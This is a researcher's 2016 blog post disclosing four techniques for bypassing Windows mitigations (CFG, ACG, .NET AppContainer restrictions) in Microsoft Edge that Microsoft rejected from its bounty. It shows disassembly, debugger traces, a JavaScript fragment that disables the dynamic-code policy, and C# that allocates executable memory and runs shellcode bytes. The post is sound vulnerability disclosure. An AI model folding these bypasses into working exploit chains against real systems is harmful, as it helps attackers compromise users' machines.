Mitigation bounty — 4 techniques to bypass mitigations

Thomas Garnier
Dec 19, 2016 · 5 min read

This post discloses 4 techniques to bypass mitigations that were rejected by Microsoft as “by design” or “already known”. For each mitigation, I explain the approach, why it was not considered and point to the GitHub source.

I explain my approach on the first post:

In the second post, I describe how you can transform a read-write anywhere primitive into calling valid CFG functions and controlling all arguments:

1) The RtlCleanUpTEBLangLists function leaks the TEB address allowing to corrupt the stack.

mov     rax, gs:30h <-------- All return will have RAX=TEB
cmp     qword ptr [rax+1810h], 0
jnz     short loc_180005CE0
add     rsp, 20h
pop     rbx

The TEB contains the stack base and limit:

0:000> !teb
TEB at 0000004ff4ed9000
    ExceptionList:        0000000000000000
    StackBase:            0000004ff4d90000
    StackLimit:           0000004ff4d7f000

The proof-of-concept scans the stack for a return value to chakra!amd64_CallFunction which is not RFG instrumented. You should get the following crash:

(37c0.3a4c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    000002c0`409b0fd4 c3              ret <---- Javascript JIT
    0:009> dqs @rsp l1
    000000ca`8a1f9d18  aaaaaaaa`aaaaaaaa

Microsoft considered this technique “out-of-scope”. They said that corrupting a return address was a design limitation of CFG. Corrupting non-RFG instrumented functions return address was a known limitation. I thought being able to leak the location of the stack or TEB was an issue given ntdll!NtQueryInformationThread is blocked by CFG.

You can find the proof-of-concept code here.

2) Use CLR memory thunks to bypass CFG

For example, UtilExecutionEngine::ClrVirtualAlloc just shifts parameters:

; void *__fastcall UtilExecutionEngine::ClrVirtualAlloc(UtilExecutionEngine *this, ...)
?ClrVirtualAlloc@UtilExecutionEngine@@EEAAPEAXPEAX_KKK@Z proc near
                                        ; DATA XREF: .rdata:...arg_20          = dword ptr  28h                mov     eax, r9d
                mov     r10, r8
                mov     r9d, [rsp+arg_20]
                mov     rcx, rdx
                mov     r8d, eax
                mov     rdx, r10
                jmp     cs:__imp_VirtualAlloc
?ClrVirtualAlloc@UtilExecutionEngine@@EEAAPEAXPEAX_KKK@Z endp

The callstack after calling this thunk:

# Call Site
00 ntdll!NtAllocateVirtualMemory
01 KERNELBASE!VirtualAlloc+0x4b
02 EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAlloc+0x51
03 RPCRT4!Invoke+0x73
04 RPCRT4!NdrStubCall2+0x38f
05 RPCRT4!NdrServerCall2+0x1a
06 chakra!amd64_CallFunction+0x93

You can see the telemetry hook won’t even understand how we managed to call VirtualAlloc from rpcrt4!Invoke.

The W^X mitigation (called ACG on Windows) prevents allocating executable memory except when mapping modules. Note that modules must be Microsoft signed. Microsoft Edge enables this mitigation but does not enforce it. It can be disabled through a call to kernel32!SetThreadInformation. That’s how the PoC generates and execute a custom shellcode:

// Disable W^X for the thread
function disable_wx(exp) {
 var ThreadDynamicCodePolicy = 2;
 var cur_thread = -2;
 var mem = exp.allocate(0x10);
 exp.write_uint(mem, THREAD_DYNAMIC_CODE_ALLOW);
 var r = exp.call_function("kernelbase.dll", "SetThreadInformation",
  cur_thread, ThreadDynamicCodePolicy, mem, 4);
 check_eq(r, 1);

The Javascript chakra engine disables the mitigation every time it needs to generate Just-In-Time (JIT) code. Future versions of Edge will generate the dynamic code from another process so W^X cannot be disabled:

This change prevents allocating a writeable and executable page to execute a custom shellcode. The CFG mitigation does not check all function pointer calls. The PE file IAT sections are not checked. You can make them writeable using ClrVirtualProtect and start a ROP chain.

The proof-of-concept code shows both techniques. The IAT overwrite crashes with this exception:

(828.3270): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ffd`92f90d93 ff1567761100    call    qword ptr [KERNELBASE!_imp_NtAccessCheck (00007ffd`930a8400)] ds:00007ffd`930a8400=aaaaaaaaaaaaaaaa

A quick scan of dlls on my machine found 14 had similar valid CFG VirtualAlloc thunk functions. I gave all the results to Microsoft.

Microsoft considered this technique as a “by design” limitation of CFG. CLR exposes these interfaces as part of the API, it might be hard to mitigate.

You can find the proof-of-concept code here.

3) Reloading ntdll under a different name disable CFG restrictions

Calling NtAllocateVirtualMemory on a renamed ntdll:

# Call Site
00 joelerigolo902063550!NtAllocateVirtualMemory
01 RPCRT4!Invoke+0x73
02 RPCRT4!NdrStubCall2+0x38f
03 RPCRT4!NdrServerCall2+0x1a
04 chakra!amd64_CallFunction+0x93joelerigolo902063550!NtAllocateVirtualMemory:
mov     r10,rcx
mov     eax,18h
test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
jne     joelerigolo902063550!NtAllocateVirtualMemory+0x15 (00007ffd`680163d5)
int     2Eh

I reported this issue privately to an MSRC engineer. It took weeks to get a verdict on the previous report, I didn’t want to wait. The non-official feedback I got was that this issue was fairly similar to 2, so would likely be considered “already known” or “out-of-scope”. After all, they already know that these ntdll functions are not protected in other processes.

You can find the proof-of-concept code here.

4) Load unsafe .NET IL stream, import any native function to call

To disable .NET AppContainer restrictions, I look for g_pAppXRTInfo through pattern matching and set the AppXProcess field to 0. I also modify the current thread AppDomain to be similar to that one we have on non-AppContainer processes. I am sure they are easier ways to do it.

Being able to load and execute an unsafe .NET binary stream is as close as loading your own dll as you can get. The are currently very few restrictions.

The .NET code used in the PoC:

[DllImport("kernel32.dll", SetLastError = true)]
static extern UIntPtr VirtualAlloc(UIntPtr lpAddress,
  UIntPtr dwSize, AllocationType flAllocationType,
  MemoryProtection flProtect);delegate void TestCallbackDelegate();public MyClass()
  UIntPtr addr = VirtualAlloc(new UIntPtr(0), new UIntPtr(0x1000),
    AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);  unsafe
    var ptr = addr.ToPointer();
    var callback = (TestCallbackDelegate) Marshal.GetDelegateForFunctionPointer(new IntPtr(ptr), typeof(TestCallbackDelegate));
    byte* buffer = (byte*)ptr;
    int i = 0;
    buffer[i++] = (byte)0x90;
    buffer[i++] = (byte)0x90;
    buffer[i++] = (byte)0x90;
    buffer[i++] = (byte)0x90;
    buffer[i++] = (byte)0xcc;    callback();

Microsoft considered this technique as “already known”. They are trying to fix the .NET / JIT story but that’s a major effort. I wonder how successful it is going to be. After all, you can load different versions of the .NET library. DllImport also assumes you can import any function so limiting to valid CFG functions might be difficult.

You can find the proof-of-concept code here.

I hope you found these techniques helpful. Feel free to reuse the code for your own research.

Thomas Garnier

Written by

Hacker, Developer, Father… I work at Google working in security since 2015. I worked at Microsoft for about 7 years. I have my own opinion.